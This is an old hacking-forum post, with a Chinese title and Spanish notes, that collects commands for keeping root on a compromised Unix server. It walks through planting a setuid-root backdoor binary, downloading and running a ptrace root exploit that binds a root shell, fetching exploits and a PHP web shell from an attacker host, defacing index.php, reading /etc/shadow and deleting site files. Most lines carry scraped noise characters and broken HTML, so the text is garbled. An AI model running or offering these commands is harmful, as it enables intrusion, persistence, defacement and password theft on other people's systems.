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总结UNIX成为root以后保持权限的方法

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发表于 2005-2-4 23:57 |只看该作者 |倒序浏览
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<><FONT color=#ff0000>by:cnbird</FONT></P>3 ]5 K3 U& u$ ?- D2 X% ~. T. ]
<>1.</P>) m2 Z  @2 x/ o  T. ?" ~% @
<>[cnbird@localhost tmp]#id</P>
2 u! C0 C  j9 e/ u9 l( v* H  i<>uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk)</P>
# I. Q1 l4 l* c# S6 C# ]<>[cnbird@localhost tmp]#cp `which id ` .</P>% j5 C: J3 ^3 J/ N
<>[cnbird@localhost tmp]#chown root ./id</P>5 L- K" W: z& E& i, b
<>[cnbird@localhost tmp]#chmod 755 ./id ; chmod u+s ./id</P>
# E8 o: s; G0 \$ _, F. j+ Z<>[cnbird@localhost tmp]#ls -l ./id</P>. u0 x6 X% S9 K  ?. J
<>-rwsr-xr-x 1 root root 9264 Mar 8 21:36 ./id*</P>& V# s2 h7 _* c- O! a5 t% V0 ]+ {
<>[cnbird@localhost tmp]#exit</P>
  W. M& J# N1 w( x<>[cnbird@localhost tmp]$id</P># t( _, Y; H) [3 z1 X  q
<>uid=500(cnbird) gid=500(cnbird) groups=500(cnbird)</P>' F& q5 r7 c3 Z8 f
<>[cnbird@localhost tmp]$./id </P>4 h3 w9 l3 X/ R$ G
<>uid=500(cnbird) gid=500(cnbird) euid=0(root) groups=500(cnbird)</P>; D8 [: d7 R& \6 o3 U
<>2.利用ptrace成为root的方法</P>5 L3 Z4 q' j! F
<>[bash]# cd /tmp/; wget <a href="http://delivered.informaticahispana.org/ptrace.c" target="_blank" ><FONT color=#0000ff>http://delivered.informaticahispana.org/ptrace.c</FONT></A>; gcc ptrace.c -o ptrace; chmod -c 777 ptrace; ./ptrace
6 ~7 i% T4 F' v. }& C2 ?( j+ J2 a-&gt; Parent's PID is 2313. Child's PID is 2314.- b3 o, U- g6 m+ G$ \
-&gt; Attaching to 2315...4 T& q( Z% y% S" A: s
-&gt; Got the thread!!
$ n( B& l8 B2 @1 S  l9 R  ^-&gt; Waiting for the next signal...
( H; a  t( y  j5 P6 K7 I3 R$ E-&gt; Injecting shellcode at 0x4000e85d
! J. C7 P7 l- E" I, r-&gt; Bind root shell on port 24876... =p. n: U; h- O+ z
-&gt; Detached from modprobe thread.; H, z# x- Y6 T; Q0 y
-&gt; Committing suicide.....</P>
: |! e6 i& Y6 s$ C<>[bash]# id" C8 U. S3 T% E, D: l+ g
uid=0(root) gid=0(root) groups=0(root)</P>
) @0 [6 x) H0 g% \. o<>ara ver los dominios que hay en el server:2 z0 e& H+ l$ X  ?: y8 u$ g
---------------------------------------------------------2 ?7 @  q0 G& `5 Z2 [
cat /etc/httpd/conf/httpd.conf|grep ServerName &lt;&lt; Solo salen los dominios
4 g( V5 o+ A9 x7 i$ j$ x7 dcat /etc/httpd/conf/httpd.conf &lt;&lt; Unicamente los puros dominios: |, n" J1 u6 ^7 y" v. a0 B8 s
cat /etc/localdomains &lt;&lt; Unicamente los dominios locales( k0 {' M* P& b( d- P
cat /etc/trueuserdomains &lt;&lt; Revela los verdades propietarios de cada dominio . w8 n$ a7 {2 d' Z  x6 H- b
cat /etc/userdomains &lt;&lt; Este es el mas comun' ^5 n; q- f4 ?; \9 B
---------------------------------------------------------</P># O( X% y8 R8 J8 J! ^& y) m* o+ @
<>ara ver la version de kernel:! l6 U: y2 }4 n9 A* r
---------------------------------------------------------
4 e' B7 ]! \5 Nuname -a &lt;&lt;Te sale algo asi Linux itys.host4u.net 2.4.20....., 2.4.20 viene siendo la version del kernel.
3 b* F0 i& Y( }5 J---------------------------------------------------------</P># T; U6 A, |! ]7 ~+ F) U
<>ara modificar un index ya existente:
+ J1 _6 N- S8 T6 r" n1 D---------------------------------------------------------
$ Q" T" p1 E9 D2 b4 H; q/ Q% y2 becho "RootBox was OwNz You"&gt;index.php &lt;&lt;sobreescribe el archivo index.php con nuevo contenido; q6 u- L; o% z. N
---------------------------------------------------------</P>
8 \9 d0 z$ P# E" }<>ara subir, compilar, darle permisos de ejecucion y ejecutar un exploit:; v) y2 d. ?4 ~. s5 F& w8 P
---------------------------------------------------------
9 ~% d9 V: l; ?* k+ W( R1 Qcd /tmp/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/exploit.c"&gt;<FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/exploit.c</FONT></A> &lt;&lt;aqui subimos el exploit" }1 ~- ~) X# r" j: L
cd /tmp/;cc exploit.c -o exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui lo compilamos con el nombre de "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado" . Q- ~9 r+ D6 n+ |
cd /tmp/;chmod -c 777 exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui le damos permisos de ejecucion a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado"7 I; A1 t; R0 t3 ]* w
cd /tmp/;./exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui estamos ejecutando a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado". ) B  `" l2 ]' P  V" T
Hasta aqui termina el proceso para un exploit.5 T/ H) w" q7 k
---------------------------------------------------------</P>
7 z% H4 [; s: [  L! f$ o# A<>Ver las contrase&ntilde;as encriptadas de todos los usuarios:
" @$ e& y0 ~4 F! V- x0 [---------------------------------------------------------0 R/ m+ {" V+ H+ W5 v! K
cat /etc/shadow &lt;&lt;Solo funciona si tienes permisos como root.
5 h  r  [3 [/ Q, K9 d: {---------------------------------------------------------</P>$ P  ?$ O) S; H- h3 g- P
<>Borrar un Ficher
/ [3 a/ s0 m; ]6 j" `---------------------------------------------------------) e0 U3 B# K3 |, m+ D
cd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;rm import.htm&lt;&lt;aqui estan borrando con el comando rm, el fichero import.htm( w9 o. w( D0 p4 Y: _; l
---------------------------------------------------------</P>% |2 X& ?. e% i1 K1 j) z0 O- s
<>Subir un ficher; [2 }$ o0 _3 {) \
---------------------------------------------------------
+ {/ K1 \$ Z: J( _( B. Xcd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/shell.php&lt;<ESTAMOS"><FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/shell.php&lt;&lt;Estamos</FONT></A> subiendo el fichero shell.php</P>
9 T2 Z& E* `+ H<>! h$ g8 ^* L5 C- ]- X( b6 s
<CENTER></CENTER>
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